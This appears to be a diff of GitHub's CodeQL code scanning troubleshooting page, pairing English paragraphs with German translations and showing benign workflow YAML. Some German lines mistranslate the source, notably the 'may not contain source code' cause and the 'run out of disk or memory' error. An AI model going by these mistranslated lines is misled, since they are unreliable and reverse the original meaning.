### Erstellen von {% data variables.product.prodname_codeql %}-Debugartefakten durch erneutes Ausführen von Aufträgen mit aktivierter Debugprotokollierung
You can create {% data variables.product.prodname_codeql %} debugging artifacts by enabling debug logging and re-running the jobs. For more information about re-running {% data variables.product.prodname_actions %} workflows and jobs, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
Du kannst {% data variables.product.prodname_codeql %}-Debugartefakte erstellen, indem du die Debugprotokollierung aktivierst und die Aufträge erneut ausführst. Weitere Informationen zum erneuten Ausführen von {% data variables.product.prodname_actions %}-Workflows und -Aufträgen findest du unter [Erneutes Ausführen von Workflows und Aufträgen](/actions/managing-workflow-runs/re-running-workflows-and-jobs).
You need to ensure that you select **Enable debug logging** . This option enables runner diagnostic logging and step debug logging for the run. You'll then be able to download `debug-artifacts` to investigate further. You do not need to modify the workflow file when creating {% data variables.product.prodname_codeql %} debugging artifacts by re-running jobs.
Du musst sicherstellen, dass du **Debugprotokollierung aktivieren** auswählst. Dadurch werden die Runnerdiagnoseprotokollierung und die schrittweise Debugprotokollierung für die Ausführung aktiviert. Du kannst dann `debug-artifacts` für weitere Untersuchungen herunterladen. Du musst die Workflowdatei nicht ändern, wenn du {% data variables.product.prodname_codeql %}-Debugartefakte durch erneutes Ausführen von Aufträgen erstellst.
{% endif %}
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
### Creating {% data variables.product.prodname_codeql %} debugging artifacts using a workflow flag
### Erstellen von {% data variables.product.prodname_codeql %}-Debugartefakten mithilfe eines Workflow-Flags
You can create {% data variables.product.prodname_codeql %} debugging artifacts by using a flag in your workflow. For this, you need to modify the `init` step of your {% data variables.code-scanning.codeql_workflow %} file and set `debug: true`.
Du kannst {% data variables.product.prodname_codeql %}-Debugartefakte mithilfe eines Flags in deinem Workflow erstellen. Ändere dazu den `init`-Schritt deiner {% data variables.code-scanning.codeql_workflow %}-Datei, und lege `debug: true` fest.
```yaml
- name: Initialize CodeQL
@ -80,15 +81,15 @@ You can create {% data variables.product.prodname_codeql %} debugging artifacts
{% endif %}
## Automatic build for a compiled language fails
## Fehler bei einem automatischen Build für eine kompilierte Sprache
If an automatic build of code for a compiled language within your project fails, try the following troubleshooting steps.
Führe die folgenden Problembehandlungsschritte aus, wenn bei einem automatischen Build von Code für eine kompilierte Sprache in deinem Projekt ein Fehler auftritt.
- Remove the `autobuild` step from your {% data variables.product.prodname_code_scanning %} workflow and add specific build steps. For information about editing the workflow, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." For more information about replacing the `autobuild` step, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
- Entferne den `autobuild`-Schritt aus deinem {% data variables.product.prodname_code_scanning %}-Workflow, und füge bestimmte Buildschritte hinzu. Informationen zum Bearbeiten des Workflows findest du unter [Konfigurieren des {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow). Weitere Informationen zum Ersetzen des `autobuild`-Schritts findest du unter [Konfigurieren des {% data variables.product.prodname_codeql %}-Workflows für kompilierte Sprachen](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language).
- If your workflow doesn't explicitly specify the languages to analyze, {% data variables.product.prodname_codeql %} implicitly detects the supported languages in your code base. In this configuration, out of the compiled languages C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java, {% data variables.product.prodname_codeql %} only analyzes the language with the most source files. Edit the workflow and add a matrix specifying the languages you want to analyze. The default CodeQL analysis workflow uses such a matrix.
- Wenn dein Workflow die zu analysierenden Sprachen nicht explizit angibt, erkennt {% data variables.product.prodname_codeql %} implizit die unterstützten Sprachen in deiner Codebasis. Bei dieser Konfiguration mit den kompilierten Sprachen C/C++, C#{% ifversion codeql-go-autobuild %}, Go{% endif %} und Java analysiert {% data variables.product.prodname_codeql %} nur die Sprache mit den meisten Quelldateien. Bearbeite den Workflow, und füge eine Matrix mit den Sprachen hinzu, die du analysieren möchtest. Beim CodeQL-Standardanalyseworkflow wird eine solche Matrix verwendet.
The following extracts from a workflow show how you can use a matrix within the job strategy to specify languages, and then reference each language within the "Initialize {% data variables.product.prodname_codeql %}" step:
Die folgenden Extrakte aus einem Workflow zeigen, wie du eine Matrix innerhalb der Auftragsstrategie verwenden kannst, um Sprachen anzugeben, und verweise dann auf jede Sprache innerhalb des Schritts "{% data variables.product.prodname_codeql %}":
```yaml
jobs:
@ -110,15 +111,15 @@ If an automatic build of code for a compiled language within your project fails,
languages: {% raw %}${{ matrix.language }}{% endraw %}
```
For more information about editing the workflow, see "[Configuring code scanning](/code-security/secure-coding/configuring-code-scanning)."
Weitere Informationen zum Bearbeiten des Workflows findest du unter [Konfigurieren der Codeüberprüfung](/code-security/secure-coding/configuring-code-scanning).
## No code found during the build
## Während des Builds wurde kein Code gefunden
If your workflow fails with an error `No source code was seen during the build` or `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure:
Wenn bei deinem Workflow der Fehler `No source code was seen during the build` oder `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32` auftritt, weist dies darauf hin, dass {% data variables.product.prodname_codeql %} deinen Code nicht überwachen konnte. Es gibt mehrere Gründe für einen solchen Fehler:
1. The repository may not contain source code that is written in languages supported by {% data variables.product.prodname_codeql %}. Check the list of supported languages and, if this is the case, remove the {% data variables.product.prodname_codeql %} workflow. For more information, see "[About code scanning with CodeQL](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql)
1. Das Repository darf keinen Quellcode enthalten, der in Sprachen geschrieben ist, die von {% data variables.product.prodname_codeql %} unterstützt werden. Überprüfe die Liste der unterstützten Sprachen, und entferne den {% data variables.product.prodname_codeql %}-Workflow, wenn dies der Fall sein sollte. Weitere Informationen findest du unter [Informationen zu Codeüberprüfungswarnungen mit CodeQL](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql).
1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by updating the list of languages in the `language` matrix. For example, the following configuration will analyze only Go, and JavaScript.
1. Die automatische Spracherkennung hat eine unterstützte Sprache identifiziert, aber es gibt keinen analysierbaren Code dieser Sprache im Repository. Ein typisches Beispiel hierfür ist, dass der Spracherkennungsdienst eine Datei findet (z. B. `.h`- oder `.gyp`-Datei), die einer bestimmten Programmiersprache zugeordnet ist, aber kein ausführbarer Code im Repository vorhanden ist. Um das Problem zu beheben, kannst du die zu analysierenden Sprachen manuell definieren, indem du die Liste der Sprachen in der `language`-Matrix aktualisierst. Bei der folgenden Konfiguration wird beispielsweise nur Go und JavaScript analysiert.
```yaml
strategy:
@ -129,49 +130,49 @@ If your workflow fails with an error `No source code was seen during the build`
language: ['go', 'javascript']
```
For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
Weitere Informationen findest du im Workflowextrakt unter [Fehler bei einem automatischen Build für eine kompilierte Sprache](#automatic-build-for-a-compiled-language-fails) weiter oben.
1. Your {% data variables.product.prodname_code_scanning %} workflow is analyzing a compiled language (C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java), but the code was not compiled. By default, the {% data variables.product.prodname_codeql %} analysis workflow contains an `autobuild` step, however, this step represents a best effort process, and may not succeed in building your code, depending on your specific build environment. Compilation may also fail if you have removed the `autobuild` step and did not include build steps manually. For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
1. Your workflow is analyzing a compiled language (C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java), but portions of your build are cached to improve performance (most likely to occur with build systems like Gradle or Bazel). Since {% data variables.product.prodname_codeql %} observes the activity of the compiler to understand the data flows in a repository, {% data variables.product.prodname_codeql %} requires a complete build to take place in order to perform analysis.
1. Your workflow is analyzing a compiled language (C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java), but compilation does not occur between the `init` and `analyze` steps in the workflow. {% data variables.product.prodname_codeql %} requires that your build happens in between these two steps in order to observe the activity of the compiler and perform analysis.
1. Your compiled code (in C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java) was compiled successfully, but {% data variables.product.prodname_codeql %} was unable to detect the compiler invocations. The most common causes are:
1. Dein {% data variables.product.prodname_code_scanning %}-Workflow analysiert eine kompilierte Sprache (C, C++, C#{% ifversion codeql-go-autobuild %}, Go{% endif %} oder Java), aber der Code wurde nicht kompiliert. Standardmäßig enthält der {% data variables.product.prodname_codeql %}-Analyseworkflow einen `autobuild`-Schritt. Dieser Schritt stellt jedoch einen bestmöglichen Vorgang dar und ist beim Kompilieren deines Codes in Abhängigkeit deiner spezifischen Buildumgebung möglicherweise nicht erfolgreich. Bei der Kompilierung kann auch ein Fehler auftreten, wenn du den `autobuild`-Schritt entfernt und keine Buildschritte manuell eingeschlossen hast. Weitere Informationen zum Angeben der Buildschritte findest du unter [Konfigurieren des {% data variables.product.prodname_codeql %}-Workflows für kompilierte Sprachen](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language).
1. Dein Workflow analysiert eine kompilierte Sprache (C, C++, C#{% ifversion codeql-go-autobuild %}, Go{% endif %} oder Java), aber Teile deines Builds werden zwischengespeichert, um die Leistung zu verbessern (am wahrscheinlichsten bei Buildsystemen wie Gradle oder Bazel). Da {% data variables.product.prodname_codeql %} die Aktivität des Compilers beobachtet, um die Datenflüsse in einem Repository nachvollziehen zu können, erfordert {% data variables.product.prodname_codeql %} einen vollständigen Build, um eine Analyse durchzuführen.
1. Dein Workflow analysiert eine kompilierte Sprache (C, C++, C#{% ifversion codeql-go-autobuild %}, Go{% endif %} oder Java), aber die Kompilierung erfolgt nicht zwischen den Schritten `init` und `analyze` im Workflow. {% data variables.product.prodname_codeql %} erfordert, dass dein Build zwischen diesen beiden Schritten erfolgt, um die Aktivität des Compilers beobachten und die Analyse durchführen zu können.
1. Der kompilierte Code (in C, C++, C#{% ifversion codeql-go-autobuild %}, Go{% endif %} oder Java) wurde erfolgreich kompiliert, aber {% data variables.product.prodname_codeql %} konnte die Compileraufrufe nicht erkennen. Folgende Ursachen sind am häufigsten anzutreffen:
- Running your build process in a separate container to {% data variables.product.prodname_codeql %}. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)."
- Building using a distributed build system external to GitHub Actions, using a daemon process.
- {% data variables.product.prodname_codeql %} isn't aware of the specific compiler you are using.
- Dein Buildvorgang wurde in einem separaten Container für {% data variables.product.prodname_codeql %} ausgeführt. Weitere Informationen findest du unter [Ausführen der CodeQL-Codeüberprüfung in einem Container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container).
- Beim Build wurde ein verteiltes Buildsystem außerhalb von GitHub Actions und ein Daemonprozess verwendet.
- {% data variables.product.prodname_codeql %} kennt den von dir verwendeten spezifischen Compiler nicht.
For .NET Framework projects, and for C# projects using either `dotnet build` or `msbuild`, you should specify `/p:UseSharedCompilation=false` in your workflow's `run` step, when you build your code.
Bei .NET Framework-Projekten und bei C#-Projekten, für die du entweder `dotnet build` oder `msbuild` verwendest, solltest du beim Kompilieren deines Codes `/p:UseSharedCompilation=false` im `run`-Schritt deines Workflows angeben.
For example, the following configuration for C# will pass the flag during the first build step.
Die folgende Konfiguration für C# übergibt das Flag beispielsweise während des ersten Buildschritts.
``` yaml
- run: |
dotnet build /p:UseSharedCompilation=false
```
If you encounter another problem with your specific compiler or configuration, contact {% data variables.contact.contact_support %}.
Wenn ein anderes Problem mit deinem spezifischen Compiler oder deiner Konfiguration auftritt, wende dich an {% data variables.contact.contact_support %}.
For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
Weitere Informationen zum Angeben der Buildschritte findest du unter [Konfigurieren des {% data variables.product.prodname_codeql %}-Workflows für kompilierte Sprachen](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language).
{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
## Lines of code scanned are lower than expected
## Die Anzahl der gescannten Codezeilen ist niedriger als erwartet
For compiled languages like C/C++, C#, Go, and Java, {% data variables.product.prodname_codeql %} only scans files that are built during the analysis. Therefore the number of lines of code scanned will be lower than expected if some of the source code isn't compiled correctly. This can happen for several reasons:
Für kompilierte Sprachen wie C/C++, C#, Go und Java überprüft {% data variables.product.prodname_codeql %} nur Dateien, die während der Analyse erstellt werden. Aus diesem Grund ist die Anzahl der gescannten Codezeilen niedriger als erwartet, wenn Teile des Quellcodes nicht ordnungsgemäß kompiliert werden. Dies kann verschiedene Ursachen haben:
1. The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository. However, sometimes this approach results in an incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not be complete since the `autobuild` step will only execute one of the commands, and therefore some source files may not be compiled.
1. Some compilers do not work with {% data variables.product.prodname_codeql %} and can cause issues while analyzing the code. For example, Project Lombok uses non-public compiler APIs to modify compiler behavior. The assumptions used in these compiler modifications are not valid for {% data variables.product.prodname_codeql %}'s Java extractor, so the code cannot be analyzed.
1. Das {% data variables.product.prodname_codeql %}-Feature `autobuild` verwendet Heuristiken, um den Code in einem Repository zu kompilieren. Manchmal führt dieser Ansatz jedoch zu einer unvollständigen Analyse eines Repositorys. Wenn beispielsweise mehrere `build.sh`-Befehle in einem einzelnen Repository vorhanden sind, wird die Analyse möglicherweise nicht abgeschlossen, da der `autobuild`-Schritt nur einen der Befehle ausführt und daher einige Quelldateien möglicherweise nicht kompiliert werden.
1. Einige Compiler funktionieren nicht mit {% data variables.product.prodname_codeql %} und können Probleme beim Analysieren des Codes verursachen. Beispielsweise verwendet Project Lombok nicht öffentliche Compiler-APIs zum Ändern des Compilerverhaltens. Die in diesen Compileränderungen verwendeten Annahmen gelten nicht für den Java-Extractor von {% data variables.product.prodname_codeql %}, sodass der Code nicht analysiert werden kann.
If your {% data variables.product.prodname_codeql %} analysis scans fewer lines of code than expected, there are several approaches you can try to make sure all the necessary source files are compiled.
Wenn bei deiner {% data variables.product.prodname_codeql %}-Analyse weniger Codezeilen als erwartet überprüft werden, gibt es verschiedene Ansätze, um sicherzustellen, dass alle erforderlichen Quelldateien kompiliert werden.
### Replace the `autobuild` step
### Ersetzen des `autobuild`-Schritts
Replace the `autobuild` step with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan.
For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
Ersetze den `autobuild`-Schritt durch dieselben Buildbefehle, die du in der Produktion verwenden würdest. Auf diese Weise wird sichergestellt, dass {% data variables.product.prodname_codeql %} genau weiß, wie die ganzen Quelldateien kompiliert werden müssen, die du überprüfen möchtest.
Weitere Informationen findest du unter [Konfigurieren des {% data variables.product.prodname_codeql %}-Workflows für kompilierte Sprachen](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language).
### Inspect the copy of the source files in the {% data variables.product.prodname_codeql %} database
### Überprüfen der Kopie der Quelldateien in der {% data variables.product.prodname_codeql %}-Datenbank
You may be able to understand why some source files haven't been analyzed by inspecting the copy of the source code included with the {% data variables.product.prodname_codeql %} database. To obtain the database from your Actions workflow, modify the `init` step of your {% data variables.product.prodname_codeql %} workflow file and set `debug: true`.
Durch das Überprüfen der Kopie des Quellcodes, der in der {% data variables.product.prodname_codeql %}-Datenbank enthalten ist, kannst du möglicherweise nachvollziehen, warum einige Quelldateien nicht analysiert wurden. Ändere den `init`-Schritt deiner {% data variables.product.prodname_codeql %}-Workflowdatei, und lege `debug: true` fest, um die Datenbank über deinen Actions-Workflow abzurufen.
```yaml
- name: Initialize CodeQL
@ -180,92 +181,90 @@ You may be able to understand why some source files haven't been analyzed by ins
debug: true
```
This uploads the database as an actions artifact that you can download to your local machine. For more information, see "[Storing workflow artifacts](/actions/guides/storing-workflow-data-as-artifacts)."
Dadurch wird die Datenbank als Aktionsartefakt hochgeladen, das du auf deinen lokalen Computer herunterladen kannst. Weitere Informationen findest du unter [Speichern von Workflowartefakten](/actions/guides/storing-workflow-data-as-artifacts).
The artifact will contain an archived copy of the source files scanned by {% data variables.product.prodname_codeql %} called _src.zip_. If you compare the source code files in the repository and the files in _src.zip_, you can see which types of file are missing. Once you know what types of file are not being analyzed, it is easier to understand how you may need to change the workflow for {% data variables.product.prodname_codeql %} analysis.
Das Artefakt enthält eine archivierte Kopie der Quelldateien namens _src.zip_, die von {% data variables.product.prodname_codeql %} überprüft wurden. Wenn du die Quellcodedateien im Repository und die Dateien in _src.zip_ vergleichst, erkennst du, welche Dateitypen fehlen. Wenn du weißt, welche Dateitypen nicht analysiert werden, ist es einfacher zu verstehen, wie du den Workflow für die {% data variables.product.prodname_codeql %}-Analyse ändern musst.
## Alerts found in generated code
## In generiertem Code gefundene Warnungen
{% data reusables.code-scanning.alerts-found-in-generated-code %}
## Extraction errors in the database
## Extraktionsfehler in der Datenbank
The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file.
The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis.
Das {% data variables.product.prodname_codeql %}-Team arbeitet ständig an kritischen Extraktionsfehlern, um sicherzustellen, dass alle Quelldateien überprüft werden. Die {% data variables.product.prodname_codeql %}-Extractors generieren während der Datenbankerstellung jedoch gelegentlich Fehler. {% data variables.product.prodname_codeql %} stellt Informationen zu Extraktionsfehlern und Warnungen bereit, die während der Datenbankerstellung in einer Protokolldatei generiert wurden.
Die Extraktionsdiagnoseinformationen geben einen Hinweis auf die allgemeine Datenbankintegrität. Die meisten Extractorfehler wirken sich nicht erheblich auf die Analyse aus. Eine kleine Anzahl von Extraktorfehlern ist normal und weist in der Regel auf einen guten Analysestatus hin.
However, if you see extractor errors in the overwhelming majority of files that were compiled during database creation, you should look into the errors in more detail to try to understand why some source files weren't extracted properly.
Wenn jedoch für die überwiegende Mehrheit der während der Datenbankerstellung kompilierten Dateien Extractorfehler angezeigt werden, solltest du die Fehler genauer untersuchen, um herauszufinden, warum einige Quelldateien nicht ordnungsgemäß extrahiert wurden.
{% else %}
## Portions of my repository were not analyzed using `autobuild`
## Teile des Repositorys wurden nicht mithilfe von `autobuild` analysiert
The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository, however, sometimes this approach results in incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not complete since the `autobuild` step will only execute one of the commands. The solution is to replace the `autobuild` step with build steps which build all of the source code which you wish to analyze. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
Das {% data variables.product.prodname_codeql %}-Feature `autobuild` verwendet Heuristiken zum Kompilieren des Codes in einem Repository. In manchen Fällen führt dieser Ansatz jedoch zu einer unvollständigen Analyse eines Repositorys. Wenn beispielsweise mehrere `build.sh`-Befehle in einem einzelnen Repository vorhanden sind, wird die Analyse möglicherweise nicht abgeschlossen, da der `autobuild`-Schritt nur einen der Befehle ausführt. Die Lösung besteht darin, den `autobuild`-Schritt durch die Buildschritte zu ersetzen, die den gesamten Quellcode kompilieren, den du analysieren möchtest. Weitere Informationen findest du unter [Konfigurieren des {% data variables.product.prodname_codeql %}-Workflows für kompilierte Sprachen](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language).
{% endif %}
## The build takes too long
## Der Build dauert zu lange
If your build with {% data variables.product.prodname_codeql %} analysis takes too long to run, there are several approaches you can try to reduce the build time.
Wenn die Ausführung deines Builds mit der {% data variables.product.prodname_codeql %}-Analyse zu lange dauert, gibt es mehrere Ansätze, um die Buildzeit zu reduzieren.
### Increase the memory or cores
### Erhöhen des Arbeitsspeichers oder der Kerne
If you use self-hosted runners to run {% data variables.product.prodname_codeql %} analysis, you can increase the memory or the number of cores on those runners.
Wenn du selbstgehostete Runner für die Ausführung der {% data variables.product.prodname_codeql %}-Analyse verwendest, kannst du den Arbeitsspeicher oder die Anzahl der Kerne für diese Runner erhöhen.
### Use matrix builds to parallelize the analysis
### Verwenden von Matrixbuilds zum Parallelisieren der Analyse
The default {% data variables.code-scanning.codeql_workflow %} uses a matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
Der standardmäßige {% data variables.code-scanning.codeql_workflow %} verwendet eine Matrix von Sprachen, wodurch die Analyse jeder Sprache parallel erfolgt. Wenn du die zu analysierenden Sprachen direkt im Schritt „Initialize CodeQL“ (CodeQL initialisieren) angegeben hast, erfolgt die Analyse jeder Sprache sequenziell. Um die Analyse mehrerer Sprachen zu beschleunigen, ändere deinen Workflow so, dass eine Matrix verwendet wird. Weitere Informationen findest du im Workflowextrakt unter [Fehler bei einem automatischen Build für eine kompilierte Sprache](#automatic-build-for-a-compiled-language-fails) weiter oben.
### Reduce the amount of code being analyzed in a single workflow
### Reduzieren der Menge an Code, der in einem einzelnen Workflow analysiert wird
Analysis time is typically proportional to the amount of code being analyzed. You can reduce the analysis time by reducing the amount of code being analyzed at once, for example, by excluding test code, or breaking analysis into multiple workflows that analyze only a subset of your code at a time.
Die Analysezeit ist in der Regel proportional zur Menge des analysierten Codes. Du kannst die Analysezeit reduzieren, indem du die Menge des gleichzeitig zu analysierenden Codes reduzierst. Schließe hierzu Testcode aus, oder teile die Analyse in mehrere Workflows auf, die gleichzeitig jeweils nur eine Teilmenge deines Codes analysieren.
{% data reusables.code-scanning.alerts-found-in-generated-code %}
If you split your analysis into multiple workflows as described above, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build.
Wenn du deine Analyse wie zuvor beschrieben in mehrere Workflows aufteilst, solltest du weiterhin mindestens einen Workflow verwenden, der nach einem `schedule` ausgeführt wird und den gesamten Codes in deinem Repository analysiert. Da {% data variables.product.prodname_codeql %} die Datenflüsse zwischen Komponenten analysiert, werden einige komplexe Sicherheitsverhaltensweisen möglicherweise nur bei einem vollständigen Build erkannt.
### Run only during a `schedule` event
### Ausführung nur während eines `schedule`-Ereignisses
If your analysis is still too slow to be run during `push` or `pull_request` events, then you may want to only trigger analysis on the `schedule` event. For more information, see "[Events](/actions/learn-github-actions/introduction-to-github-actions#events)."
Wenn die Ausführung deiner Analyse während `push`- oder `pull_request`-Ereignissen noch zu langsam ist, solltest du nur eine Analyse für das `schedule`-Ereignis auslösen. Weitere Informationen findest du unter [Ereignisse](/actions/learn-github-actions/introduction-to-github-actions#events).
### Check which query suites the workflow runs
### Überprüfen, welche Abfragen der Workflow ausführt
By default, there are three main query suites available for each language. If you have optimized the CodeQL database build and the process is still too long, you could reduce the number of queries you run. The default query suite is run automatically; it contains the fastest security queries with the lowest rates of false positive results.
Standardmäßig stehen für jede Sprache drei Hauptabfragesammlungen zur Verfügung. Wenn du den CodeQL-Datenbankbuild optimiert hast und der Prozess noch zu lang ist, kannst du die Anzahl der ausgeführten Abfragen verringern. Die Standardabfragesammlung wird automatisch ausgeführt. Sie enthält die schnellsten Sicherheitsabfragen mit den niedrigsten Raten falsch positiver Ergebnisse.
You may be running extra queries or query suites in addition to the default queries. Check whether the workflow defines an additional query suite or additional queries to run using the `queries` element. You can experiment with disabling the additional query suite or queries. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs)."
Möglicherweise werden zusätzlich zu den Standardabfragen weitere Abfragen oder Abfragesammlungen ausgeführt. Überprüfe, ob der Workflow eine zusätzliche Abfragesammlung oder zusätzliche Abfragen definiert, die mit dem `queries`-Element ausgeführt werden sollen. Du kannst die zusätzliche Abfragesammlung oder Abfragen testweise deaktivieren. Weitere Informationen findest du unter [Konfigurieren des {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs).
{% ifversion codeql-ml-queries %}
{% note %}
{% ifversion codeql-ml-queries %} {% note %}
**Note:** If you run the `security-extended` or `security-and-quality` query suite for JavaScript, then some queries use experimental technology. For more information, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-experimental-alerts)."
{% endnote %}
{% endif %}
**Hinweis:** Wenn du die `security-extended`- oder `security-and-quality`-Abfragesuite für JavaScript ausführst, verwenden einige Abfragen experimentelle Technologie. Weitere Informationen findest du unter [Informationen zu Codeüberprüfungswarnungen](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-experimental-alerts).
{% endnote %} {% endif %}
{% ifversion fpt or ghec %}
## Results differ between analysis platforms
## Ergebnisse unterscheiden sich zwischen Analyseplattformen
If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.code-scanning.codeql_workflow %} on Linux, macOS, or Windows.
Wenn du Code in Python analysierst, werden möglicherweise unterschiedliche Ergebnisse angezeigt, je nachdem, ob du den {% data variables.code-scanning.codeql_workflow %} unter Linux, macOS oder Windows ausführst.
On GitHub-hosted runners that use Linux, the {% data variables.code-scanning.codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)."
Bei den auf GitHub gehosteten Runnern, die Linux verwenden, versucht der {% data variables.code-scanning.codeql_workflow %}, Python-Abhängigkeiten zu installieren und zu analysieren, was zu weiteren Ergebnissen führen kann. Um die automatische Installation zu deaktivieren, füge dem Schritt „Initialize CodeQL“ (CodeQL initialisieren) des Workflows `setup-python-dependencies: false` hinzu. Weitere Informationen zum Konfigurieren der Analyse von Python-Abhängigkeiten findest du unter [Analysieren von Python-Abhängigkeiten](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies).
{% endif %}
## Error: "Server error"
## Fehler: „Server error“ (Serverfehler)
If the run of a workflow for {% data variables.product.prodname_code_scanning %} fails due to a server error, try running the workflow again. If the problem persists, contact {% data variables.contact.contact_support %}.
Führe den Workflow erneut aus, wenn bei der Ausführung eines Workflows für das {% data variables.product.prodname_code_scanning %} aufgrund eines Serverfehlers ein Fehler auftritt. Wenn das Problem weiterhin besteht, wende dich an den {% data variables.contact.contact_support %}.
## Error: "Out of disk" or "Out of memory"
## Fehler: „Out of disk“ (Nicht genügend freier Speicherplatz auf dem Datenträger) oder „Out of memory“ (Nicht genügend Arbeitsspeicher)
On very large projects, {% data variables.product.prodname_codeql %} may run out of disk or memory on the runner.
{% ifversion fpt or ghec %}If you encounter this issue on a hosted {% data variables.product.prodname_actions %} runner, contact {% data variables.contact.contact_support %} so that we can investigate the problem.
{% else %}If you encounter this issue, try increasing the memory on the runner.{% endif %}
Bei sehr großen Projekten kann {% data variables.product.prodname_codeql %} auf dem Datenträger oder Arbeitsspeicher auf dem Läufer ausgeführt werden.
{% ifversion fpt or ghec %}Wenn dieses Problem bei einem gehosteten {% data variables.product.prodname_actions %}-Runner auftritt, wende dich an den {% data variables.contact.contact_support %}, damit das Problem untersucht werden kann.
{% else %}Versuche, den Arbeitsspeicher auf dem Runner zu erhöhen, wenn dieses Problem auftritt.{% endif %}
{% ifversion fpt or ghec %}
## Error: 403 "Resource not accessible by integration" when using {% data variables.product.prodname_dependabot %}
## Fehler 403: „Zugriff auf Ressource durch Integration nicht möglich“ bei Verwendung von {% data variables.product.prodname_dependabot %}
{% data variables.product.prodname_dependabot %} is considered untrusted when it triggers a workflow run, and the workflow will run with read-only scopes. Uploading {% data variables.product.prodname_code_scanning %} results for a branch usually requires the `security_events: write` scope. However, {% data variables.product.prodname_code_scanning %} always allows the uploading of results when the `pull_request` event triggers the action run. This is why, for {% data variables.product.prodname_dependabot %} branches, we recommend you use the `pull_request` event instead of the `push` event.
